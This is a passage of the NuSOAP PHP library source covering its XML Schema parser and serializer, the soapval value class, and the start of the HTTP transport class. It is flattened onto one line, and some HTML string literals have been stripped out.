'faultactor'). $this->serialize_val($this->faultstring, 'faultstring'). $this->serialize_val($this->faultdetail, 'detail'). ''. ''. ''; return $return_msg; } } /** * Backward compatibility */ class soap_fault extends nusoap_fault { } ?> * @author Scott Nichol * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_xmlschema extends nusoap_base { // files var $schema = ''; var $xml = ''; // namespaces var $enclosingNamespaces; // schema info var $schemaInfo = array(); var $schemaTargetNamespace = ''; // types, elements, attributes defined by the schema var $attributes = array(); var $complexTypes = array(); var $complexTypeStack = array(); var $currentComplexType = null; var $elements = array(); var $elementStack = array(); var $currentElement = null; var $simpleTypes = array(); var $simpleTypeStack = array(); var $currentSimpleType = null; // imports var $imports = array(); // parser vars var $parser; var $position = 0; var $depth = 0; var $depth_array = array(); var $message = array(); var $defaultNamespace = array(); /** * constructor * * @param string $schema schema document URI * @param string $xml xml document URI * @param string $namespaces namespaces defined in enclosing XML * @access public */ function nusoap_xmlschema($schema='',$xml='',$namespaces=array()){ parent::nusoap_base(); $this->debug('nusoap_xmlschema class instantiated, inside constructor'); // files $this->schema = $schema; $this->xml = $xml; // namespaces $this->enclosingNamespaces = $namespaces; $this->namespaces = array_merge($this->namespaces, $namespaces); // parse schema file if($schema != ''){ $this->debug('initial schema file: '.$schema); $this->parseFile($schema, 'schema'); } // parse xml file if($xml != ''){ $this->debug('initial xml file: '.$xml); $this->parseFile($xml, 'xml'); } } /** * parse an XML file * * @param string $xml path/URL to XML file * @param string $type (schema | xml) * @return boolean * @access public */ function parseFile($xml,$type){ // parse xml file if($xml != ""){ $xmlStr = @join("",@file($xml)); if($xmlStr == ""){ $msg = 'Error reading XML from '.$xml; $this->setError($msg); $this->debug($msg); return false; } else { $this->debug("parsing $xml"); $this->parseString($xmlStr,$type); $this->debug("done parsing $xml"); return true; } } return false; } /** * parse an XML string * * @param string $xml path or URL * @param string $type (schema|xml) * @access private */ function parseString($xml,$type){ // parse xml string if($xml != ""){ // Create an XML parser. $this->parser = xml_parser_create(); // Set the options for parsing the XML data. xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); // Set the object for the parser. xml_set_object($this->parser, $this); // Set the element handlers for the parser. if($type == "schema"){ xml_set_element_handler($this->parser, 'schemaStartElement','schemaEndElement'); xml_set_character_data_handler($this->parser,'schemaCharacterData'); } elseif($type == "xml"){ xml_set_element_handler($this->parser, 'xmlStartElement','xmlEndElement'); xml_set_character_data_handler($this->parser,'xmlCharacterData'); } // Parse the XML file. if(!xml_parse($this->parser,$xml,true)){ // Display an error message. $errstr = sprintf('XML error parsing XML schema on line %d: %s', xml_get_current_line_number($this->parser), xml_error_string(xml_get_error_code($this->parser)) ); $this->debug($errstr); $this->debug("XML payload:\n" . $xml); $this->setError($errstr); } xml_parser_free($this->parser); } else{ $this->debug('no xml passed to parseString()!!'); $this->setError('no xml passed to parseString()!!'); } } /** * gets a type name for an unnamed type * * @param string Element name * @return string A type name for an unnamed type * @access private */ function CreateTypeName($ename) { $scope = ''; for ($i = 0; $i < count($this->complexTypeStack); $i++) { $scope .= $this->complexTypeStack[$i] . '_'; } return $scope . $ename . '_ContainedType'; } /** * start-element handler * * @param string $parser XML parser object * @param string $name element name * @param string $attrs associative array of attributes * @access private */ function schemaStartElement($parser, $name, $attrs) { // position in the total number of elements, starting from 0 $pos = $this->position++; $depth = $this->depth++; // set self as current value for this depth $this->depth_array[$depth] = $pos; $this->message[$pos] = array('cdata' => ''); if ($depth > 0) { $this->defaultNamespace[$pos] = $this->defaultNamespace[$this->depth_array[$depth - 1]]; } else { $this->defaultNamespace[$pos] = false; } // get element prefix if($prefix = $this->getPrefix($name)){ // get unqualified name $name = $this->getLocalPart($name); } else { $prefix = ''; } // loop thru attributes, expanding, and registering namespace declarations if(count($attrs) > 0){ foreach($attrs as $k => $v){ // if ns declarations, add to class level array of valid namespaces if(preg_match('/^xmlns/',$k)){ //$this->xdebug("$k: $v"); //$this->xdebug('ns_prefix: '.$this->getPrefix($k)); if($ns_prefix = substr(strrchr($k,':'),1)){ //$this->xdebug("Add namespace[$ns_prefix] = $v"); $this->namespaces[$ns_prefix] = $v; } else { $this->defaultNamespace[$pos] = $v; if (! $this->getPrefixFromNamespace($v)) { $this->namespaces['ns'.(count($this->namespaces)+1)] = $v; } } if($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema'){ $this->XMLSchemaVersion = $v; $this->namespaces['xsi'] = $v.'-instance'; } } } foreach($attrs as $k => $v){ // expand each attribute $k = strpos($k,':') ? $this->expandQname($k) : $k; $v = strpos($v,':') ? $this->expandQname($v) : $v; $eAttrs[$k] = $v; } $attrs = $eAttrs; } else { $attrs = array(); } // find status, register data switch($name){ case 'all': // (optional) compositor content for a complexType case 'choice': case 'group': case 'sequence': //$this->xdebug("compositor $name for currentComplexType: $this->currentComplexType and currentElement: $this->currentElement"); $this->complexTypes[$this->currentComplexType]['compositor'] = $name; //if($name == 'all' || $name == 'sequence'){ // $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; //} break; case 'attribute': // complexType attribute //$this->xdebug("parsing attribute $attrs[name] $attrs[ref] of value: ".$attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']); $this->xdebug("parsing attribute:"); $this->appendDebug($this->varDump($attrs)); if (!isset($attrs['form'])) { // TODO: handle globals $attrs['form'] = $this->schemaInfo['attributeFormDefault']; } if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; if (!strpos($v, ':')) { // no namespace in arrayType attribute value... if ($this->defaultNamespace[$pos]) { // ...so use the default $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'] = $this->defaultNamespace[$pos] . ':' . $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; } } } if(isset($attrs['name'])){ $this->attributes[$attrs['name']] = $attrs; $aname = $attrs['name']; } elseif(isset($attrs['ref']) && $attrs['ref'] == 'http://schemas.xmlsoap.org/soap/encoding/:arrayType'){ if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { $aname = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; } else { $aname = ''; } } elseif(isset($attrs['ref'])){ $aname = $attrs['ref']; $this->attributes[$attrs['ref']] = $attrs; } if($this->currentComplexType){ // This should *always* be $this->complexTypes[$this->currentComplexType]['attrs'][$aname] = $attrs; } // arrayType attribute if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']) || $this->getLocalPart($aname) == 'arrayType'){ $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; $prefix = $this->getPrefix($aname); if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])){ $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; } else { $v = ''; } if(strpos($v,'[,]')){ $this->complexTypes[$this->currentComplexType]['multidimensional'] = true; } $v = substr($v,0,strpos($v,'[')); // clip the [] if(!strpos($v,':') && isset($this->typemap[$this->XMLSchemaVersion][$v])){ $v = $this->XMLSchemaVersion.':'.$v; } $this->complexTypes[$this->currentComplexType]['arrayType'] = $v; } break; case 'complexContent': // (optional) content for a complexType $this->xdebug("do nothing for element $name"); break; case 'complexType': array_push($this->complexTypeStack, $this->currentComplexType); if(isset($attrs['name'])){ // TODO: what is the scope of named complexTypes that appear // nested within other c complexTypes? $this->xdebug('processing named complexType '.$attrs['name']); //$this->currentElement = false; $this->currentComplexType = $attrs['name']; $this->complexTypes[$this->currentComplexType] = $attrs; $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; // This is for constructs like // // // // // if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ $this->xdebug('complexType is unusual array'); $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; } else { $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; } } else { $name = $this->CreateTypeName($this->currentElement); $this->xdebug('processing unnamed complexType for element ' . $this->currentElement . ' named ' . $name); $this->currentComplexType = $name; //$this->currentElement = false; $this->complexTypes[$this->currentComplexType] = $attrs; $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; // This is for constructs like // // // // // if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ $this->xdebug('complexType is unusual array'); $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; } else { $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; } } $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'false'; break; case 'element': array_push($this->elementStack, $this->currentElement); if (!isset($attrs['form'])) { if ($this->currentComplexType) { $attrs['form'] = $this->schemaInfo['elementFormDefault']; } else { // global $attrs['form'] = 'qualified'; } } if(isset($attrs['type'])){ $this->xdebug("processing typed element ".$attrs['name']." of type ".$attrs['type']); if (! $this->getPrefix($attrs['type'])) { if ($this->defaultNamespace[$pos]) { $attrs['type'] = $this->defaultNamespace[$pos] . ':' . $attrs['type']; $this->xdebug('used default namespace to make type ' . $attrs['type']); } } // This is for constructs like // // // // // if ($this->currentComplexType && $this->complexTypes[$this->currentComplexType]['phpType'] == 'array') { $this->xdebug('arrayType for unusual array is ' . $attrs['type']); $this->complexTypes[$this->currentComplexType]['arrayType'] = $attrs['type']; } $this->currentElement = $attrs['name']; $ename = $attrs['name']; } elseif(isset($attrs['ref'])){ $this->xdebug("processing element as ref to ".$attrs['ref']); $this->currentElement = "ref to ".$attrs['ref']; $ename = $this->getLocalPart($attrs['ref']); } else { $type = $this->CreateTypeName($this->currentComplexType . '_' . $attrs['name']); $this->xdebug("processing untyped element " . $attrs['name'] . ' type ' . $type); $this->currentElement = $attrs['name']; $attrs['type'] = $this->schemaTargetNamespace . ':' . $type; $ename = $attrs['name']; } if (isset($ename) && $this->currentComplexType) { $this->xdebug("add element $ename to complexType $this->currentComplexType"); $this->complexTypes[$this->currentComplexType]['elements'][$ename] = $attrs; } elseif (!isset($attrs['ref'])) { $this->xdebug("add element $ename to elements array"); $this->elements[ $attrs['name'] ] = $attrs; $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; } break; case 'enumeration': // restriction value list member $this->xdebug('enumeration ' . $attrs['value']); if ($this->currentSimpleType) { $this->simpleTypes[$this->currentSimpleType]['enumeration'][] = $attrs['value']; } elseif ($this->currentComplexType) { $this->complexTypes[$this->currentComplexType]['enumeration'][] = $attrs['value']; } break; case 'extension': // simpleContent or complexContent type extension $this->xdebug('extension ' . $attrs['base']); if ($this->currentComplexType) { $ns = $this->getPrefix($attrs['base']); if ($ns == '') { $this->complexTypes[$this->currentComplexType]['extensionBase'] = $this->schemaTargetNamespace . ':' . $attrs['base']; } else { $this->complexTypes[$this->currentComplexType]['extensionBase'] = $attrs['base']; } } else { $this->xdebug('no current complexType to set extensionBase'); } break; case 'import': if (isset($attrs['schemaLocation'])) { $this->xdebug('import namespace ' . $attrs['namespace'] . ' from ' . $attrs['schemaLocation']); $this->imports[$attrs['namespace']][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); } else { $this->xdebug('import namespace ' . $attrs['namespace']); $this->imports[$attrs['namespace']][] = array('location' => '', 'loaded' => true); if (! $this->getPrefixFromNamespace($attrs['namespace'])) { $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; } } break; case 'include': if (isset($attrs['schemaLocation'])) { $this->xdebug('include into namespace ' . $this->schemaTargetNamespace . ' from ' . $attrs['schemaLocation']); $this->imports[$this->schemaTargetNamespace][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); } else { $this->xdebug('ignoring invalid XML Schema construct: include without schemaLocation attribute'); } break; case 'list': // simpleType value list $this->xdebug("do nothing for element $name"); break; case 'restriction': // simpleType, simpleContent or complexContent value restriction $this->xdebug('restriction ' . $attrs['base']); if($this->currentSimpleType){ $this->simpleTypes[$this->currentSimpleType]['type'] = $attrs['base']; } elseif($this->currentComplexType){ $this->complexTypes[$this->currentComplexType]['restrictionBase'] = $attrs['base']; if(strstr($attrs['base'],':') == ':Array'){ $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; } } break; case 'schema': $this->schemaInfo = $attrs; $this->schemaInfo['schemaVersion'] = $this->getNamespaceFromPrefix($prefix); if (isset($attrs['targetNamespace'])) { $this->schemaTargetNamespace = $attrs['targetNamespace']; } if (!isset($attrs['elementFormDefault'])) { $this->schemaInfo['elementFormDefault'] = 'unqualified'; } if (!isset($attrs['attributeFormDefault'])) { $this->schemaInfo['attributeFormDefault'] = 'unqualified'; } break; case 'simpleContent': // (optional) content for a complexType if ($this->currentComplexType) { // This should *always* be $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'true'; } else { $this->xdebug("do nothing for element $name because there is no current complexType"); } break; case 'simpleType': array_push($this->simpleTypeStack, $this->currentSimpleType); if(isset($attrs['name'])){ $this->xdebug("processing simpleType for name " . $attrs['name']); $this->currentSimpleType = $attrs['name']; $this->simpleTypes[ $attrs['name'] ] = $attrs; $this->simpleTypes[ $attrs['name'] ]['typeClass'] = 'simpleType'; $this->simpleTypes[ $attrs['name'] ]['phpType'] = 'scalar'; } else { $name = $this->CreateTypeName($this->currentComplexType . '_' . $this->currentElement); $this->xdebug('processing unnamed simpleType for element ' . $this->currentElement . ' named ' . $name); $this->currentSimpleType = $name; //$this->currentElement = false; $this->simpleTypes[$this->currentSimpleType] = $attrs; $this->simpleTypes[$this->currentSimpleType]['phpType'] = 'scalar'; } break; case 'union': // simpleType type list $this->xdebug("do nothing for element $name"); break; default: $this->xdebug("do not have any logic to process element $name"); } } /** * end-element handler * * @param string $parser XML parser object * @param string $name element name * @access private */ function schemaEndElement($parser, $name) { // bring depth down a notch $this->depth--; // position of current element is equal to the last value left in depth_array for my depth if(isset($this->depth_array[$this->depth])){ $pos = $this->depth_array[$this->depth]; } // get element prefix if ($prefix = $this->getPrefix($name)){ // get unqualified name $name = $this->getLocalPart($name); } else { $prefix = ''; } // move on... if($name == 'complexType'){ $this->xdebug('done processing complexType ' . ($this->currentComplexType ? $this->currentComplexType : '(unknown)')); $this->xdebug($this->varDump($this->complexTypes[$this->currentComplexType])); $this->currentComplexType = array_pop($this->complexTypeStack); //$this->currentElement = false; } if($name == 'element'){ $this->xdebug('done processing element ' . ($this->currentElement ? $this->currentElement : '(unknown)')); $this->currentElement = array_pop($this->elementStack); } if($name == 'simpleType'){ $this->xdebug('done processing simpleType ' . ($this->currentSimpleType ? $this->currentSimpleType : '(unknown)')); $this->xdebug($this->varDump($this->simpleTypes[$this->currentSimpleType])); $this->currentSimpleType = array_pop($this->simpleTypeStack); } } /** * element content handler * * @param string $parser XML parser object * @param string $data element content * @access private */ function schemaCharacterData($parser, $data){ $pos = $this->depth_array[$this->depth - 1]; $this->message[$pos]['cdata'] .= $data; } /** * serialize the schema * * @access public */ function serializeSchema(){ $schemaPrefix = $this->getPrefixFromNamespace($this->XMLSchemaVersion); $xml = ''; // imports if (sizeof($this->imports) > 0) { foreach($this->imports as $ns => $list) { foreach ($list as $ii) { if ($ii['location'] != '') { $xml .= " <$schemaPrefix:import location=\"" . $ii['location'] . '" namespace="' . $ns . "\" />\n"; } else { $xml .= " <$schemaPrefix:import namespace=\"" . $ns . "\" />\n"; } } } } // complex types foreach($this->complexTypes as $typeName => $attrs){ $contentStr = ''; // serialize child elements if(isset($attrs['elements']) && (count($attrs['elements']) > 0)){ foreach($attrs['elements'] as $element => $eParts){ if(isset($eParts['ref'])){ $contentStr .= " <$schemaPrefix:element ref=\"$element\"/>\n"; } else { $contentStr .= " <$schemaPrefix:element name=\"$element\" type=\"" . $this->contractQName($eParts['type']) . "\""; foreach ($eParts as $aName => $aValue) { // handle, e.g., abstract, default, form, minOccurs, maxOccurs, nillable if ($aName != 'name' && $aName != 'type') { $contentStr .= " $aName=\"$aValue\""; } } $contentStr .= "/>\n"; } } // compositor wraps elements if (isset($attrs['compositor']) && ($attrs['compositor'] != '')) { $contentStr = " <$schemaPrefix:$attrs[compositor]>\n".$contentStr." \n"; } } // attributes if(isset($attrs['attrs']) && (count($attrs['attrs']) >= 1)){ foreach($attrs['attrs'] as $attr => $aParts){ $contentStr .= " <$schemaPrefix:attribute"; foreach ($aParts as $a => $v) { if ($a == 'ref' || $a == 'type') { $contentStr .= " $a=\"".$this->contractQName($v).'"'; } elseif ($a == 'http://schemas.xmlsoap.org/wsdl/:arrayType') { $this->usedNamespaces['wsdl'] = $this->namespaces['wsdl']; $contentStr .= ' wsdl:arrayType="'.$this->contractQName($v).'"'; } else { $contentStr .= " $a=\"$v\""; } } $contentStr .= "/>\n"; } } // if restriction if (isset($attrs['restrictionBase']) && $attrs['restrictionBase'] != ''){ $contentStr = " <$schemaPrefix:restriction base=\"".$this->contractQName($attrs['restrictionBase'])."\">\n".$contentStr." \n"; // complex or simple content if ((isset($attrs['elements']) && count($attrs['elements']) > 0) || (isset($attrs['attrs']) && count($attrs['attrs']) > 0)){ $contentStr = " <$schemaPrefix:complexContent>\n".$contentStr." \n"; } } // finalize complex type if($contentStr != ''){ $contentStr = " <$schemaPrefix:complexType name=\"$typeName\">\n".$contentStr." \n"; } else { $contentStr = " <$schemaPrefix:complexType name=\"$typeName\"/>\n"; } $xml .= $contentStr; } // simple types if(isset($this->simpleTypes) && count($this->simpleTypes) > 0){ foreach($this->simpleTypes as $typeName => $eParts){ $xml .= " <$schemaPrefix:simpleType name=\"$typeName\">\n <$schemaPrefix:restriction base=\"".$this->contractQName($eParts['type'])."\">\n"; if (isset($eParts['enumeration'])) { foreach ($eParts['enumeration'] as $e) { $xml .= " <$schemaPrefix:enumeration value=\"$e\"/>\n"; } } $xml .= " \n "; } } // elements if(isset($this->elements) && count($this->elements) > 0){ foreach($this->elements as $element => $eParts){ $xml .= " <$schemaPrefix:element name=\"$element\" type=\"".$this->contractQName($eParts['type'])."\"/>\n"; } } // attributes if(isset($this->attributes) && count($this->attributes) > 0){ foreach($this->attributes as $attr => $aParts){ $xml .= " <$schemaPrefix:attribute name=\"$attr\" type=\"".$this->contractQName($aParts['type'])."\"\n/>"; } } // finish 'er up $attr = ''; foreach ($this->schemaInfo as $k => $v) { if ($k == 'elementFormDefault' || $k == 'attributeFormDefault') { $attr .= " $k=\"$v\""; } } $el = "<$schemaPrefix:schema$attr targetNamespace=\"$this->schemaTargetNamespace\"\n"; foreach (array_diff($this->usedNamespaces, $this->enclosingNamespaces) as $nsp => $ns) { $el .= " xmlns:$nsp=\"$ns\""; } $xml = $el . ">\n".$xml."\n"; return $xml; } /** * adds debug data to the clas level debug string * * @param string $string debug data * @access private */ function xdebug($string){ $this->debug('<' . $this->schemaTargetNamespace . '> '.$string); } /** * get the PHP type of a user defined type in the schema * PHP type is kind of a misnomer since it actually returns 'struct' for assoc. arrays * returns false if no type exists, or not w/ the given namespace * else returns a string that is either a native php type, or 'struct' * * @param string $type name of defined type * @param string $ns namespace of type * @return mixed * @access public * @deprecated */ function getPHPType($type,$ns){ if(isset($this->typemap[$ns][$type])){ //print "found type '$type' and ns $ns in typemap
    "; return $this->typemap[$ns][$type]; } elseif(isset($this->complexTypes[$type])){ //print "getting type '$type' and ns $ns from complexTypes array
    "; return $this->complexTypes[$type]['phpType']; } return false; } /** * returns an associative array of information about a given type * returns false if no type exists by the given name * * For a complexType typeDef = array( * 'restrictionBase' => '', * 'phpType' => '', * 'compositor' => '(sequence|all)', * 'elements' => array(), // refs to elements array * 'attrs' => array() // refs to attributes array * ... and so on (see addComplexType) * ) * * For simpleType or element, the array has different keys. * * @param string $type * @return mixed * @access public * @see addComplexType * @see addSimpleType * @see addElement */ function getTypeDef($type){ //$this->debug("in getTypeDef for type $type"); if (substr($type, -1) == '^') { $is_element = 1; $type = substr($type, 0, -1); } else { $is_element = 0; } if((! $is_element) && isset($this->complexTypes[$type])){ $this->xdebug("in getTypeDef, found complexType $type"); return $this->complexTypes[$type]; } elseif((! $is_element) && isset($this->simpleTypes[$type])){ $this->xdebug("in getTypeDef, found simpleType $type"); if (!isset($this->simpleTypes[$type]['phpType'])) { // get info for type to tack onto the simple type // TODO: can this ever really apply (i.e. what is a simpleType really?) $uqType = substr($this->simpleTypes[$type]['type'], strrpos($this->simpleTypes[$type]['type'], ':') + 1); $ns = substr($this->simpleTypes[$type]['type'], 0, strrpos($this->simpleTypes[$type]['type'], ':')); $etype = $this->getTypeDef($uqType); if ($etype) { $this->xdebug("in getTypeDef, found type for simpleType $type:"); $this->xdebug($this->varDump($etype)); if (isset($etype['phpType'])) { $this->simpleTypes[$type]['phpType'] = $etype['phpType']; } if (isset($etype['elements'])) { $this->simpleTypes[$type]['elements'] = $etype['elements']; } } } return $this->simpleTypes[$type]; } elseif(isset($this->elements[$type])){ $this->xdebug("in getTypeDef, found element $type"); if (!isset($this->elements[$type]['phpType'])) { // get info for type to tack onto the element $uqType = substr($this->elements[$type]['type'], strrpos($this->elements[$type]['type'], ':') + 1); $ns = substr($this->elements[$type]['type'], 0, strrpos($this->elements[$type]['type'], ':')); $etype = $this->getTypeDef($uqType); if ($etype) { $this->xdebug("in getTypeDef, found type for element $type:"); $this->xdebug($this->varDump($etype)); if (isset($etype['phpType'])) { $this->elements[$type]['phpType'] = $etype['phpType']; } if (isset($etype['elements'])) { $this->elements[$type]['elements'] = $etype['elements']; } if (isset($etype['extensionBase'])) { $this->elements[$type]['extensionBase'] = $etype['extensionBase']; } } elseif ($ns == 'http://www.w3.org/2001/XMLSchema') { $this->xdebug("in getTypeDef, element $type is an XSD type"); $this->elements[$type]['phpType'] = 'scalar'; } } return $this->elements[$type]; } elseif(isset($this->attributes[$type])){ $this->xdebug("in getTypeDef, found attribute $type"); return $this->attributes[$type]; } elseif (preg_match('/_ContainedType$/', $type)) { $this->xdebug("in getTypeDef, have an untyped element $type"); $typeDef['typeClass'] = 'simpleType'; $typeDef['phpType'] = 'scalar'; $typeDef['type'] = 'http://www.w3.org/2001/XMLSchema:string'; return $typeDef; } $this->xdebug("in getTypeDef, did not find $type"); return false; } /** * returns a sample serialization of a given type, or false if no type by the given name * * @param string $type name of type * @return mixed * @access public * @deprecated */ function serializeTypeDef($type){ //print "in sTD() for type $type
    "; if($typeDef = $this->getTypeDef($type)){ $str .= '<'.$type; if(is_array($typeDef['attrs'])){ foreach($typeDef['attrs'] as $attName => $data){ $str .= " $attName=\"{type = ".$data['type']."}\""; } } $str .= " xmlns=\"".$this->schema['targetNamespace']."\""; if(count($typeDef['elements']) > 0){ $str .= ">"; foreach($typeDef['elements'] as $element => $eData){ $str .= $this->serializeTypeDef($element); } $str .= ""; } elseif($typeDef['typeClass'] == 'element') { $str .= ">"; } else { $str .= "/>"; } return $str; } return false; } /** * returns HTML form elements that allow a user * to enter values for creating an instance of the given type. * * @param string $name name for type instance * @param string $type name of type * @return string * @access public * @deprecated */ function typeToForm($name,$type){ // get typedef if($typeDef = $this->getTypeDef($type)){ // if struct if($typeDef['phpType'] == 'struct'){ $buffer .= ''; foreach($typeDef['elements'] as $child => $childDef){ $buffer .= " "; } $buffer .= '
    $childDef[name] (type: ".$this->getLocalPart($childDef['type'])."):
    '; // if array } elseif($typeDef['phpType'] == 'array'){ $buffer .= ''; for($i=0;$i < 3; $i++){ $buffer .= " "; } $buffer .= '
    array item (type: $typeDef[arrayType]):
    '; // if scalar } else { $buffer .= ""; } } else { $buffer .= ""; } return $buffer; } /** * adds a complex type to the schema * * example: array * * addType( * 'ArrayOfstring', * 'complexType', * 'array', * '', * 'SOAP-ENC:Array', * array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'string[]'), * 'xsd:string' * ); * * example: PHP associative array ( SOAP Struct ) * * addType( * 'SOAPStruct', * 'complexType', * 'struct', * 'all', * array('myVar'=> array('name'=>'myVar','type'=>'string') * ); * * @param name * @param typeClass (complexType|simpleType|attribute) * @param phpType: currently supported are array and struct (php assoc array) * @param compositor (all|sequence|choice) * @param restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) * @param elements = array ( name = array(name=>'',type=>'') ) * @param attrs = array( * array( * 'ref' => "http://schemas.xmlsoap.org/soap/encoding/:arrayType", * "http://schemas.xmlsoap.org/wsdl/:arrayType" => "string[]" * ) * ) * @param arrayType: namespace:name (http://www.w3.org/2001/XMLSchema:string) * @access public * @see getTypeDef */ function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType=''){ $this->complexTypes[$name] = array( 'name' => $name, 'typeClass' => $typeClass, 'phpType' => $phpType, 'compositor'=> $compositor, 'restrictionBase' => $restrictionBase, 'elements' => $elements, 'attrs' => $attrs, 'arrayType' => $arrayType ); $this->xdebug("addComplexType $name:"); $this->appendDebug($this->varDump($this->complexTypes[$name])); } /** * adds a simple type to the schema * * @param string $name * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) * @param string $typeClass (should always be simpleType) * @param string $phpType (should always be scalar) * @param array $enumeration array of values * @access public * @see nusoap_xmlschema * @see getTypeDef */ function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { $this->simpleTypes[$name] = array( 'name' => $name, 'typeClass' => $typeClass, 'phpType' => $phpType, 'type' => $restrictionBase, 'enumeration' => $enumeration ); $this->xdebug("addSimpleType $name:"); $this->appendDebug($this->varDump($this->simpleTypes[$name])); } /** * adds an element to the schema * * @param array $attrs attributes that must include name and type * @see nusoap_xmlschema * @access public */ function addElement($attrs) { if (! $this->getPrefix($attrs['type'])) { $attrs['type'] = $this->schemaTargetNamespace . ':' . $attrs['type']; } $this->elements[ $attrs['name'] ] = $attrs; $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; $this->xdebug("addElement " . $attrs['name']); $this->appendDebug($this->varDump($this->elements[ $attrs['name'] ])); } } /** * Backward compatibility */ class XMLSchema extends nusoap_xmlschema { } ?> * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class soapval extends nusoap_base { /** * The XML element name * * @var string * @access private */ var $name; /** * The XML type name (string or false) * * @var mixed * @access private */ var $type; /** * The PHP value * * @var mixed * @access private */ var $value; /** * The XML element namespace (string or false) * * @var mixed * @access private */ var $element_ns; /** * The XML type namespace (string or false) * * @var mixed * @access private */ var $type_ns; /** * The XML element attributes (array or false) * * @var mixed * @access private */ var $attributes; /** * constructor * * @param string $name optional name * @param mixed $type optional type name * @param mixed $value optional value * @param mixed $element_ns optional namespace of value * @param mixed $type_ns optional namespace of type * @param mixed $attributes associative array of attributes to add to element serialization * @access public */ function soapval($name='soapval',$type=false,$value=-1,$element_ns=false,$type_ns=false,$attributes=false) { parent::nusoap_base(); $this->name = $name; $this->type = $type; $this->value = $value; $this->element_ns = $element_ns; $this->type_ns = $type_ns; $this->attributes = $attributes; } /** * return serialized value * * @param string $use The WSDL use value (encoded|literal) * @return string XML data * @access public */ function serialize($use='encoded') { return $this->serialize_val($this->value, $this->name, $this->type, $this->element_ns, $this->type_ns, $this->attributes, $use, true); } /** * decodes a soapval object into a PHP native type * * @return mixed * @access public */ function decode(){ return $this->value; } } ?> * @author Scott Nichol * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class soap_transport_http extends nusoap_base { var $url = ''; var $uri = ''; var $digest_uri = ''; var $scheme = ''; var $host = ''; var $port = ''; var $path = ''; var $request_method = 'POST'; var $protocol_version = '1.0'; var $encoding = ''; var $outgoing_headers = array(); var $incoming_headers = array(); var $incoming_cookies = array(); var $outgoing_payload = ''; var $incoming_payload = ''; var $response_status_line; // HTTP response status line var $useSOAPAction = true; var $persistentConnection = false; var $ch = false; // cURL handle var $ch_options = array(); // cURL custom options var $use_curl = false; // force cURL use var $proxy = null; // proxy information (associative array) var $username = ''; var $password = ''; var $authtype = ''; var $digestRequest = array(); var $certRequest = array(); // keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional) // cainfofile: certificate authority file, e.g. '$pathToPemFiles/rootca.pem' // sslcertfile: SSL certificate file, e.g. '$pathToPemFiles/mycert.pem' // sslkeyfile: SSL key file, e.g. '$pathToPemFiles/mykey.pem' // passphrase: SSL key password/passphrase // certpassword: SSL certificate password // verifypeer: default is 1 // verifyhost: default is 1 /** * constructor * * @param string $url The URL to which to connect * @param array $curl_options User-specified cURL options * @param boolean $use_curl Whether to try to force cURL use * @access public */ function soap_transport_http($url, $curl_options = NULL, $use_curl = false){ parent::nusoap_base(); $this->debug("ctor url=$url use_curl=$use_curl curl_options:"); $this->appendDebug($this->varDump($curl_options)); $this->setURL($url); if (is_array($curl_options)) { $this->ch_options = $curl_options; } $this->use_curl = $use_curl; preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); $this->setHeader('User-Agent', $this->title.'/'.$this->version.' ('.$rev[1].')'); } /** * sets a cURL option * * @param mixed $option The cURL option (always integer?) * @param mixed $value The cURL option value * @access private */ function setCurlOption($option, $value) { $this->debug("setCurlOption option=$option, value="); $this->appendDebug($this->varDump($value)); curl_setopt($this->ch, $option, $value); } /** * sets an HTTP header * * @param string $name The name of the header * @param string $value The value of the header * @access private */ function setHeader($name, $value) { $this->outgoing_headers[$name] = $value; $this->debug("set header $name: $value"); } /** * unsets an HTTP header * * @param string $name The name of the header * @access private */ function unsetHeader($name) { if (isset($this->outgoing_headers[$name])) { $this->debug("unset header $name"); unset($this->outgoing_headers[$name]); } } /** * sets the URL to which to connect * * @param string $url The URL to which to connect * @access private */ function setURL($url) { $this->url = $url; $u = parse_url($url); foreach($u as $k => $v){ $this->debug("parsed URL $k = $v"); $this->$k = $v; } // add any GET params to path 